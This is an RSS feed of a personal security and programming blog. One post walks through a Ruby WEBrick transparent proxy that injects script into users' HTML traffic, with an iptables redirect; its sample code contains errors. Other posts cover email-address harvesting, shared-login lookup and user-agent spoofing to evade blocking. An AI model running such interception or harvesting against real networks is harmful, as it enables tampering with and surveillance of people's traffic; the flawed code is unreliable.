<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>FreedomCoder &#187; macosx</title>
	<atom:link href="http://www.freedomcoder.com.ar/category/macosx/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.freedomcoder.com.ar</link>
	<description>Information for free-minded geeks</description>
	<lastBuildDate>Sun, 30 Jan 2011 22:38:35 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>strip binary executables in OSX</title>
		<link>http://www.freedomcoder.com.ar/2010/07/09/strip-binary-executables-in-osx/</link>
		<comments>http://www.freedomcoder.com.ar/2010/07/09/strip-binary-executables-in-osx/#comments</comments>
		<pubDate>Fri, 09 Jul 2010 19:24:27 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[How-To]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/?p=283</guid>
		<description><![CDATA[<p>While doing some vulnerability research on some of the default OSX binary files, I run into the issue that a lot of the binaries are universal and contain i386, x86_64 and/or ppc.</p> <p>For example, let us take the default installed app bash</p> <p><a href="http://www.freedomcoder.com.ar/wp-content/uploads/2010/07/Screen-shot-2010-07-09-at-3.08.50-PM.jpg"></a></p> <p>So I wanted to debug an application in order to see [...]]]></description>
			<content:encoded><![CDATA[<p>While doing some vulnerability research on some of the default OSX binary files, I run into the issue that a lot of the binaries are universal and contain i386, x86_64 and/or ppc.</p>
<p>For example, let us take the default installed app bash</p>
<p><a href="http://www.freedomcoder.com.ar/wp-content/uploads/2010/07/Screen-shot-2010-07-09-at-3.08.50-PM.jpg"><img class="aligncenter size-full wp-image-284" title="file info for bash." src="http://www.freedomcoder.com.ar/wp-content/uploads/2010/07/Screen-shot-2010-07-09-at-3.08.50-PM.jpg" alt="" width="593" height="200" /></a></p>
<p>So I wanted to debug an application in order to see where it was overflowing, but I only wanted to concentrate on the 32 bit architecture.  So I started wondering how could I force the application to run in 32 bit mode.  After some googleing and looking through the osx documentation. I found that there are a few commands just for that.</p>
<p><strong>ARCH</strong><br />
This command will let you run an application on on one or more specific architectures.</p>
<p>For example if we want to run bash in 32bit:<br />
<code>$ arch -i386 /bin/bash</code></p>
<p>Now, what if we want to always use a binary in 386 mode. arch is not really helpful or what if we want another executable that only contained the i386 architecture code. Here is when <em>lipo</em> comes into play.</p>
<p><strong>LIPO</strong></p>
<p>This command will allow us to create a binary file containing only the desired architectures.<br />
<code>$ lipo -thin i386 /bin/bash -output /bin/bash.i386</code></p>
<p>Now if we we check the bash.i386 file it will only contain the 386 architecture binary information.</p>
<p><a href="http://www.freedomcoder.com.ar/wp-content/uploads/2010/07/Screen-shot-2010-07-09-at-3.27.26-PM.jpg"><img class="aligncenter size-full wp-image-289" title="file bash.i386" src="http://www.freedomcoder.com.ar/wp-content/uploads/2010/07/Screen-shot-2010-07-09-at-3.27.26-PM.jpg" alt="" width="597" height="200" /></a></p>
<p>I guess this might be common knowledge to a lot of people, but It was really helpful for me and hopefully to anyone who was not yet aware of this two helpful commands.</p>
<p>Enjoy.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-7949681675937032";
google_ad_slot = "5601631059";
google_ad_width = 468;
google_ad_height = 60;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2010/07/09/strip-binary-executables-in-osx/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bugmenot CLI script</title>
		<link>http://www.freedomcoder.com.ar/2009/09/14/bugmenot-cli-script/</link>
		<comments>http://www.freedomcoder.com.ar/2009/09/14/bugmenot-cli-script/#comments</comments>
		<pubDate>Mon, 14 Sep 2009 17:35:05 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/?p=181</guid>
		<description><![CDATA[<p>Little script to help while surfing the web. So far it gets the username and password. I will be adding the success percentage and the possibility of limiting the search results.<br /> Otherwise, enjoy as it is.<br /> </p>]]></description>
			<content:encoded><![CDATA[<p>Little script to help while surfing the web.  So far it gets the username and password. I will be adding the success percentage and the possibility of limiting the search results.<br />
Otherwise, enjoy as it is.<br />
<script src="http://gist.github.com/186788.js"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2009/09/14/bugmenot-cli-script/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>First stable beta of ESearchy is out!</title>
		<link>http://www.freedomcoder.com.ar/2009/07/13/first-stable-beta-of-esearchy-is-out/</link>
		<comments>http://www.freedomcoder.com.ar/2009/07/13/first-stable-beta-of-esearchy-is-out/#comments</comments>
		<pubDate>Mon, 13 Jul 2009 18:15:37 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2009/07/13/first-stable-beta-of-esearchy-is-out</guid>
		<description><![CDATA[Finally, after weeks of work, the first stable Beta of ESearchy is up and running in github's gem repository. 
Esearchy is a small library capable of searching the internet for email addresses. Currently, the supported search methods are engines such as Google, Bing, Yahoo, PGP servers, GoogleGroups, Linkedin, etc , but I intend to add many more.

Also, the library searches inside .pdf, .docx, .xlsx, .pptx, asn and .txt files for emails addresses and adds them to the list of found accounts. Finally, we have support for .docs files but for now only in Windows Platforms. (For more information visit: <a href="http://github.com/FreedomCoder/esearchy/tree/master"> Github </a> .

In order to install it you simple add the repository and then install the gem, as shown below.

<bash>
>  gem sources -a http://gems.github.com
>  gem install FreedomCoder-esearchy
</bash>

Once the gem is installed, you can create a new search opening and/or use the "esearchy" CLI tool but it's really basic so far and it does not has all of the plugins. 
<code>
require 'esearchy'

ESearchy::LOG.level = ESearchy::APP #Output to the stdout. 

ESearchy.create "domain.com" do &#124;d&#124;
  d.yahoo_key = "yourAPIkeygoeshere"
  d.bing_key = "yourAPIkeygoeshere" 
  # if you want to also look in LinkedIn
  d.company_name "Company Name"
  #A user is needed in order to search within Linkedin
  d.linkedin_credentials "myuser@linkedin.com", "mypwd" 
  d.maxhits = 50 
  d.search
  d.save_to_file "company_emails.txt"
end
</code>
If you have any comments, issues or want to submit a bug please do so on
<a href="http://github.com/FreedomCoder/esearchy/issues">http://github.com/FreedomCoder/esearchy/issues</a>

 Hopefully it will be useful to you. 
:)
]]></description>
			<content:encoded><![CDATA[<p>Finally, after weeks of work, the first stable Beta of ESearchy is up and running in github&#8217;s gem repository.<br />
Esearchy is a small library capable of searching the internet for email addresses. Currently, the supported search methods are engines such as Google, Bing, Yahoo, PGP servers, GoogleGroups, Linkedin, etc , but I intend to add many more.</p>
<p>Also, the library searches inside .pdf, .docx, .xlsx, .pptx, asn and .txt files for emails addresses and adds them to the list of found accounts. Finally, we have support for .docs files but for now only in Windows Platforms. (For more information visit: <a href="http://github.com/FreedomCoder/esearchy/tree/master"> Github </a> .</p>
<p>In order to install it you simple add the repository and then install the gem, as shown below.<br />
<code >&amp;gt;  gem sources -a http://gems.github.com<br />
&amp;gt;  gem install FreedomCoder-esearchy</code><br />
Once the gem is installed, you can create a new search opening and/or use the &#8220;esearchy&#8221; CLI tool but it&#8217;s really basic so far and it does not has all of the plugins.<br />
<code lang="ruby">require 'esearchy'</code></p>
<p><code >ESearchy::LOG.level = ESearchy::APP #Output to the stdout.<br />
</code></p>
<p><code >ESearchy.create "domain.com" do |d|<br />
d.yahoo_key = "yourAPIkeygoeshere"<br />
d.bing_key = "yourAPIkeygoeshere"<br />
# if you want to also look in LinkedIn<br />
d.company_name "Company Name"<br />
#A user is needed in order to search within Linkedin<br />
d.linkedin_credentials "myuser@linkedin.com", "mypwd"<br />
d.maxhits = 50<br />
d.search<br />
d.save_to_file "company_emails.txt"<br />
end</code><br />
If you have any comments, issues or want to submit a bug please do so on<br />
<a href="http://github.com/FreedomCoder/esearchy/issues">http://github.com/FreedomCoder/esearchy/issues</a></p>
<p>Hopefully it will be useful to you.<br />
 <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2009/07/13/first-stable-beta-of-esearchy-is-out/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Random User Agents</title>
		<link>http://www.freedomcoder.com.ar/2009/07/10/random-user-agents/</link>
		<comments>http://www.freedomcoder.com.ar/2009/07/10/random-user-agents/#comments</comments>
		<pubDate>Sat, 11 Jul 2009 00:35:02 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[How-To]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2009/07/10/random-user-agents</guid>
		<description><![CDATA[While programming Esearchy I had to create a simple class to retrieve random user agents. You may say but why you would want something like this, and the answer is simple:
 "Try to trick the search engines, so they would not block me".  

Yeah, I know this might not even works, but it's still cool. =D

Well here it goes
<script src="http://gist.github.com/144932.js"></script>

Use it at your own discretion and listen to your ghost ...]]></description>
			<content:encoded><![CDATA[<p>While programming Esearchy I had to create a simple class to retrieve random user agents. You may say but why you would want something like this, and the answer is simple:<br />
 &#8220;Try to trick the search engines, so they would not block me&#8221;.  </p>
<p>Yeah, I know this might not even works, but it&#8217;s still cool. =D</p>
<p>Well here it goes<br />
<script src="http://gist.github.com/144932.js"></script></p>
<p>Use it at your own discretion and listen to your ghost &#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2009/07/10/random-user-agents/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>I&#8217;m back with some Code &#8230;</title>
		<link>http://www.freedomcoder.com.ar/2009/07/05/im-back-with-some-code-/</link>
		<comments>http://www.freedomcoder.com.ar/2009/07/05/im-back-with-some-code-/#comments</comments>
		<pubDate>Mon, 06 Jul 2009 01:46:17 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2009/07/05/im-back-with-some-code-</guid>
		<description><![CDATA[Well, hello again, long time since the last post. I went on vacations, work a lot and did some programming. Let's talk abount the programming part, since it is the most interesting one. ;)

I created a small library called "Esearchy" capable of searching the internet for email addresses. Currently, we the supported search methods are  engines such as Google, Bing, Yahoo, PGP servers, GoogleGroups, etc , but I intend to add many more.
Also, the library searches inside .pdf and .txt files for emails addresses and adds them to the list of found accounts.  

For now, there are two main ways of performing a search, "the ruby way"
<code>
 Esearchy.create "domain.com" do &#124;domain&#124;
   domain.maxhits = 500
   domain.search
   domain.clean {&#124;e&#124; e =~ /<&#124;>/ }
   domain.save_to_file "~/emails.txt"
 end
</code>

and the more classic way in which users can create an Esearchy objetc and work on it

<code>
  domain = Esearchy.new :query => "domain.com", :maxhits => 500
  domain.search
  domain.save_to_file "~/emails.txt"
</code>

For now , that's it for now , but keep on tuned for more shitty code ajjajaa 
]]></description>
			<content:encoded><![CDATA[<p>Well, hello again, long time since the last post. I went on vacations, work a lot and did some programming. Let&#8217;s talk abount the programming part, since it is the most interesting one. <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>I created a small library called &#8220;Esearchy&#8221; capable of searching the internet for email addresses. Currently, we the supported search methods are  engines such as Google, Bing, Yahoo, PGP servers, GoogleGroups, etc , but I intend to add many more.<br />
Also, the library searches inside .pdf and .txt files for emails addresses and adds them to the list of found accounts.  </p>
<p>For now, there are two main ways of performing a search, &#8220;the ruby way&#8221;<br />
<code> Esearchy.create "domain.com" do |domain|<br />
   domain.maxhits = 500<br />
   domain.search<br />
   domain.clean {|e| e =~ /&lt;|&gt;/ }<br />
   domain.save_to_file "~/emails.txt"<br />
 end</code></p>
<p>and the more classic way in which users can create an Esearchy objetc and work on it</p>
<p><code>  domain = Esearchy.new :query =&gt; "domain.com", :maxhits =&gt; 500<br />
  domain.search<br />
  domain.save_to_file "~/emails.txt"</code></p>
<p>For now , that&#8217;s it for now , but keep on tuned for more shitty code ajjajaa </p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2009/07/05/im-back-with-some-code-/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Hash.map is not working ?</title>
		<link>http://www.freedomcoder.com.ar/2009/03/19/hashmap-is-not-working-/</link>
		<comments>http://www.freedomcoder.com.ar/2009/03/19/hashmap-is-not-working-/#comments</comments>
		<pubDate>Thu, 19 Mar 2009 15:59:00 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[How-To]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2009/03/19/hashmap-is-not-working-</guid>
		<description><![CDATA[While coding a new lib i'm doing I was trying to do something with a Hash and I came across this.

<code>
irb(main):002:0> {:a => 1, :b => 2}.map do &#124;k,v&#124; v+2 end
=> [3, 4]
</code>

When I try to map a Hash I get in return an Array. Shoulnd't I get a Hash??? It's that the idea of "mapping" ? I tried in both 1.8 and 1.9.1 and both returned the same. I guess I'm either missing something or map is not implemented as it should be. 
Help please!!,  Anyone ?

<strong>UPDATE: </strong>
Well, I think this is an explanation (extracted from the RDoc) :

<strong>
enum.collect {&#124; obj &#124; block } => array
enum.map {&#124; obj &#124; block } => array
</strong>

Returns a new array with the results of running block once for every element in enum.

<code>
   (1..4).collect {&#124;i&#124; i*i }   #=> [1, 4, 9, 16]
   (1..4).collect { "cat"  }   #=> ["cat", "cat", "cat", "cat"]
</code>]]></description>
			<content:encoded><![CDATA[<p>While coding a new lib i&#8217;m doing I was trying to do something with a Hash and I came across this.</p>
<p><code>irb(main):002:0&gt; {:a =&gt; 1, :b =&gt; 2}.map do |k,v| v+2 end<br />
=&gt; [3, 4]</code></p>
<p>When I try to map a Hash I get in return an Array. Shoulnd&#8217;t I get a Hash??? It&#8217;s that the idea of &#8220;mapping&#8221; ? I tried in both 1.8 and 1.9.1 and both returned the same. I guess I&#8217;m either missing something or map is not implemented as it should be.<br />
Help please!!,  Anyone ?</p>
<p><strong>UPDATE: </strong><br />
Well, I think this is an explanation (extracted from the RDoc) :</p>
<p><strong><br />
enum.collect {| obj | block } => array<br />
enum.map {| obj | block } => array<br />
</strong></p>
<p>Returns a new array with the results of running block once for every element in enum.</p>
<p><code>   (1..4).collect {|i| i*i }   #=&gt; [1, 4, 9, 16]<br />
   (1..4).collect { "cat"  }   #=&gt; ["cat", "cat", "cat", "cat"]</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2009/03/19/hashmap-is-not-working-/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WEBrick Transparent Proxy + code injection.</title>
		<link>http://www.freedomcoder.com.ar/2009/02/28/webrick-transparent-proxy-code-injection/</link>
		<comments>http://www.freedomcoder.com.ar/2009/02/28/webrick-transparent-proxy-code-injection/#comments</comments>
		<pubDate>Sat, 28 Feb 2009 17:00:17 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[How-To]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2009/02/28/webrick-transparent-proxy-code-injection</guid>
		<description><![CDATA[I've search and search, asked Google, yahoo, sarasa search, and pretty much everyone else I know. Everything was incomplete, not well explain or not in subject at all.  After many days of looking I found a japanese site, which I did not understood much of it but after I google translated I was able to check some code and learn how to capture the response body messages. 

<small><i><strong>NOTE:</strong> As a word of advice, it is worth mentioning that this situation where only the Japanese have ruby code, has happened several times before with weird and undocumented methods or libraries. So it's always good to look in google.jp for ruby code ;)</i></small>

You may say why to even bother to do a Transparent proxy in ruby which is able to inject code, well maybe the answer is just because I want to see if I can do it. 

I decided to do my PoC with the native library WEBrick, a simple and light  HTTPserver among other things. 
</br>
<strong> Simple Proxy :</strong>
The first thing I usually do is check the official site and Rdoc for the lib. Unluckily, I was only able to find how to do a normal proxy. and work with the request. 

<code>
require 'webrick'
require 'webrick/httproxy'

WEBrick::HTTPProxyServer.new :Port 8080, 
                     :BindAddress => '0.0.0.0', 
                     :ServerType => Thread,
                     :RequestCallback => Proc.new {&#124;req,res&#124;  puts "#{req.unparsed_uri}" }

a.start

</code><small><small>Simple Proxy server.</small></small>
</br>
<strong> Fixing the URI :</strong>
With this we can setup Firefox, safari or any other web browser to use the proxy on localhost:8080 and  Eureka, we have a proxy that will printout the unparsed_uri for our request.  
This in theory works like a charm , but wait. If you see the  request Firefox is doing the following 
<code>
GET http://www.sarasa.com/ HTTP/1.1
...
</code><small><small>Browser request using a proxy server.</small></small>

Normal the brower when requesting a page , will use HTTP/1.1 and use the header "Host" to specified the url and just connect using a:

<code>
GET / HTTP/1.1
Host: www.sarasa.com
</code><small><small>Browser request.</small></small>

Having said this, here is the first wall I encounter. This is something that was undocumented: how do we turn our proxy into a transparent proxy? 
The answer is simple. let's modified our code and change the request. All the information is there we just have to re-write it to fit our need. 
Before, we start we should know that our req is of type WEBrick::HTTPRequest. Knowing this we will do a little monkey patching to add a new method to the class and 

<code>
require 'webrick'
require 'webrick/httproxy'

class WEBrick::HTTPRequest
  def  update_uri(uri)
    @unparsed_uri = uri
    @request_uri = parse_uri(uri)
  end
end


req_call = Proc.new do &#124;req,res&#124;  
  req.update_uri()
  puts "#{req.unparsed_uri}" }
end

WEBrick::HTTPProxyServer.new :Port 8080, 
                     :BindAddress => '0.0.0.0', 
                     :ServerType => Thread,
                     :RequestCallback => req_call 

a.start
</code><small><small>Transparent Proxy Server.</small></small>

</br>
<strong> Injecting:</strong>
Well, a transparent proxy is cool , but we could do the same with squid or some other product. Let's take it a little further and make it more interesting by adding an inject_payload to our response class. 


<code>
require 'webrick'
require 'webrick/httproxy'

class WEBrick::HTTPRequest
  def  update_uri(uri)
    @unparsed_uri = uri
    @request_uri = parse_uri(uri)
  end
end

class WEBrick::HTTPResponse
  def  inject_payload(string)
    if @content_type =~ /html/
      @body.gsub!( /<\/body>/ ,  "<script>#{string}</script></body>")  # this is just 
    end
  end
end

req_call = Proc.new do &#124;req,res&#124;  
  req.update_uri()
  puts "#{req.unparsed_uri}" }
end

res_call = Proc.new do &#124;req,res&#124;  
  res.inject_payload("alert(\"P0wned\");")
end

WEBrick::HTTPProxyServer.new :Port 8080, 
                     :BindAddress => '0.0.0.0', 
                     :ServerType => Thread,
                     :RequestCallback => req_call
                     :ProxyContentHandler => res_call 

a.start
</code><small><small>Injectable Transparent Proxy server.</small></small>

<strong> Last but not least :</strong>
Well, there is one more thing , but this is more at an operating system level we know want to reroute everything that is coming from the port 80 to port 8080 where our transparent proxy is listening.  The following example shows a possible way to redirect HTTP traffic assuming that is coming from the interface eth0 and the proxy is listening on port 8080.
<bash>
  iptables -t nat -A PREROUTING -i  eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
</bash>

Now we have a transparent proxy in our hands capable of injecting code into their request. 

Enjoy. 

]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve search and search, asked Google, yahoo, sarasa search, and pretty much everyone else I know. Everything was incomplete, not well explain or not in subject at all.  After many days of looking I found a japanese site, which I did not understood much of it but after I google translated I was able to check some code and learn how to capture the response body messages. </p>
<p><small><i><strong>NOTE:</strong> As a word of advice, it is worth mentioning that this situation where only the Japanese have ruby code, has happened several times before with weird and undocumented methods or libraries. So it&#8217;s always good to look in google.jp for ruby code <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </i></small></p>
<p>You may say why to even bother to do a Transparent proxy in ruby which is able to inject code, well maybe the answer is just because I want to see if I can do it. </p>
<p>I decided to do my PoC with the native library WEBrick, a simple and light  HTTPserver among other things.<br />
</br><br />
<strong> Simple Proxy :</strong><br />
The first thing I usually do is check the official site and Rdoc for the lib. Unluckily, I was only able to find how to do a normal proxy. and work with the request. </p>
<p><code>require 'webrick'<br />
require 'webrick/httproxy'</p>
<p>WEBrick::HTTPProxyServer.new <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> ort 8080,<br />
                     :BindAddress =&gt; '0.0.0.0',<br />
                     :ServerType =&gt; Thread,<br />
                     :RequestCallback =&gt; Proc.new {|req,res|  puts "#{req.unparsed_uri}" }</p>
<p>a.start<br />
</code><small><small>Simple Proxy server.</small></small><br />
</br><br />
<strong> Fixing the URI :</strong><br />
With this we can setup Firefox, safari or any other web browser to use the proxy on localhost:8080 and  Eureka, we have a proxy that will printout the unparsed_uri for our request.<br />
This in theory works like a charm , but wait. If you see the  request Firefox is doing the following<br />
<code>GET http://www.sarasa.com/ HTTP/1.1<br />
...</code><small><small>Browser request using a proxy server.</small></small></p>
<p>Normal the brower when requesting a page , will use HTTP/1.1 and use the header &#8220;Host&#8221; to specified the url and just connect using a:</p>
<p><code>GET / HTTP/1.1<br />
Host: www.sarasa.com</code><small><small>Browser request.</small></small></p>
<p>Having said this, here is the first wall I encounter. This is something that was undocumented: how do we turn our proxy into a transparent proxy?<br />
The answer is simple. let&#8217;s modified our code and change the request. All the information is there we just have to re-write it to fit our need.<br />
Before, we start we should know that our req is of type WEBrick::HTTPRequest. Knowing this we will do a little monkey patching to add a new method to the class and </p>
<p><code>require 'webrick'<br />
require 'webrick/httproxy'</p>
<p>class WEBrick::HTTPRequest<br />
  def  update_uri(uri)<br />
    @unparsed_uri = uri<br />
    @request_uri = parse_uri(uri)<br />
  end<br />
end</p>
<p>req_call = Proc.new do |req,res|<br />
  req.update_uri()<br />
  puts "#{req.unparsed_uri}" }<br />
end</p>
<p>WEBrick::HTTPProxyServer.new <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> ort 8080,<br />
                     :BindAddress =&gt; '0.0.0.0',<br />
                     :ServerType =&gt; Thread,<br />
                     :RequestCallback =&gt; req_call </p>
<p>a.start</code><small><small>Transparent Proxy Server.</small></small></p>
<p></br><br />
<strong> Injecting:</strong><br />
Well, a transparent proxy is cool , but we could do the same with squid or some other product. Let&#8217;s take it a little further and make it more interesting by adding an inject_payload to our response class. </p>
<p><code>require 'webrick'<br />
require 'webrick/httproxy'</p>
<p>class WEBrick::HTTPRequest<br />
  def  update_uri(uri)<br />
    @unparsed_uri = uri<br />
    @request_uri = parse_uri(uri)<br />
  end<br />
end</p>
<p>class WEBrick::HTTPResponse<br />
  def  inject_payload(string)<br />
    if @content_type =~ /html/<br />
      @body.gsub!( /&lt;\/body&gt;/ ,  "&lt;script&gt;#{string}&lt;/script&gt;&lt;/body&gt;")  # this is just<br />
    end<br />
  end<br />
end</p>
<p>req_call = Proc.new do |req,res|<br />
  req.update_uri()<br />
  puts "#{req.unparsed_uri}" }<br />
end</p>
<p>res_call = Proc.new do |req,res|<br />
  res.inject_payload("alert(\"P0wned\");")<br />
end</p>
<p>WEBrick::HTTPProxyServer.new <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> ort 8080,<br />
                     :BindAddress =&gt; '0.0.0.0',<br />
                     :ServerType =&gt; Thread,<br />
                     :RequestCallback =&gt; req_call<br />
                     <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> roxyContentHandler =&gt; res_call </p>
<p>a.start</code><small><small>Injectable Transparent Proxy server.</small></small></p>
<p><strong> Last but not least :</strong><br />
Well, there is one more thing , but this is more at an operating system level we know want to reroute everything that is coming from the port 80 to port 8080 where our transparent proxy is listening.  The following example shows a possible way to redirect HTTP traffic assuming that is coming from the interface eth0 and the proxy is listening on port 8080.<br />
<bash><br />
  iptables -t nat -A PREROUTING -i  eth0 -p tcp &#8211;dport 80 -j REDIRECT &#8211;to-port 8080<br />
</bash></p>
<p>Now we have a transparent proxy in our hands capable of injecting code into their request. </p>
<p>Enjoy. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2009/02/28/webrick-transparent-proxy-code-injection/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Nmaports 0.3: Now with pdf support</title>
		<link>http://www.freedomcoder.com.ar/2009/02/16/nmaports-03-now-with-pdf-support/</link>
		<comments>http://www.freedomcoder.com.ar/2009/02/16/nmaports-03-now-with-pdf-support/#comments</comments>
		<pubDate>Mon, 16 Feb 2009 18:53:43 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[How-To]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Spanish]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2009/02/16/nmaports-03-now-with-pdf-support</guid>
		<description><![CDATA[Luego de un par ajustes al c?digo Nmaports sigue creciendo y agregando features. 
Ahora , Nmaports tiene soporte para generar la tabla en formato PDF. 


<code>
def create_pdf(list,name=nil)
  require 'prawn'
  require 'prawn/layout'
  Prawn::Document.generate(name &#124;&#124; "output.pdf") do 
    
    data = []
    list.each do &#124;k,v&#124;
      data << [k,(v.map { &#124;k&#124; k + "\n" }.to_s).strip]
    end
    
    table data, 
      :position => :center, 
      :headers => ["Port", "IP Adresses"],
      :header_color => "0046f9",
      :row_colors => :pdf_writer, #["ffffff","ffff00"],
      :font_size => 10,
      :vertical_padding => 2,
      :horizontal_padding => 5
  end
end
</code>

Para bajar la ultima versi?n del repositorio Git : 
http://github.com/FreedomCoder/nmapports/tree/master]]></description>
			<content:encoded><![CDATA[<p>Luego de un par ajustes al c?digo Nmaports sigue creciendo y agregando features.<br />
Ahora , Nmaports tiene soporte para generar la tabla en formato PDF. </p>
<p><code>def create_pdf(list,name=nil)<br />
  require 'prawn'<br />
  require 'prawn/layout'<br />
  Prawn::Document.generate(name || "output.pdf") do </p>
<p>    data = []<br />
    list.each do |k,v|<br />
      data &lt;&lt; [k,(v.map { |k| k + "\n" }.to_s).strip]<br />
    end</p>
<p>    table data,<br />
      :position =&gt; :center,<br />
      :headers =&gt; ["Port", "IP Adresses"],<br />
      :header_color =&gt; "0046f9",<br />
      :row_colors =&gt; :pdf_writer, #["ffffff","ffff00"],<br />
      :font_size =&gt; 10,<br />
      :vertical_padding =&gt; 2,<br />
      :horizontal_padding =&gt; 5<br />
  end<br />
end</code></p>
<p>Para bajar la ultima versi?n del repositorio Git : </p>
<p>http://github.com/FreedomCoder/nmapports/tree/master</p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2009/02/16/nmaports-03-now-with-pdf-support/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>zsh + git branchs and status</title>
		<link>http://www.freedomcoder.com.ar/2008/12/06/zsh-git-branchs-and-status/</link>
		<comments>http://www.freedomcoder.com.ar/2008/12/06/zsh-git-branchs-and-status/#comments</comments>
		<pubDate>Sat, 06 Dec 2008 18:11:30 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[How-To]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2008/12/06/zsh-git-branchs-and-status</guid>
		<description><![CDATA[Siendo que uso mucho git para todos mis projectos, Cada tanto quiero saber el status y en que branch estoy (mas aun cuando hay varios branches). Buscando en internet encontr? un par de tips como crear funciones y agregarlas al PS1 o PROMPT en bash o zsh seg?n corresponda.

Primero tenemos que agregar un par de funciones a nuestro .zsh o .bashrc

<strong>Funciones:</strong>
<code>
function parse_git_status {
  [[ $(git status 2> /dev/null &#124; tail -n1) != "nothing to commit (working directory clean)" ]] &#038;&
  echo "*"
}
function parse_git_branch {
  git branch --no-color 2> /dev/null &#124; sed -e '/^[^*]/d' -e "s/* \(.*\)/[\1$(parse_git_status)]/"
}
</code>

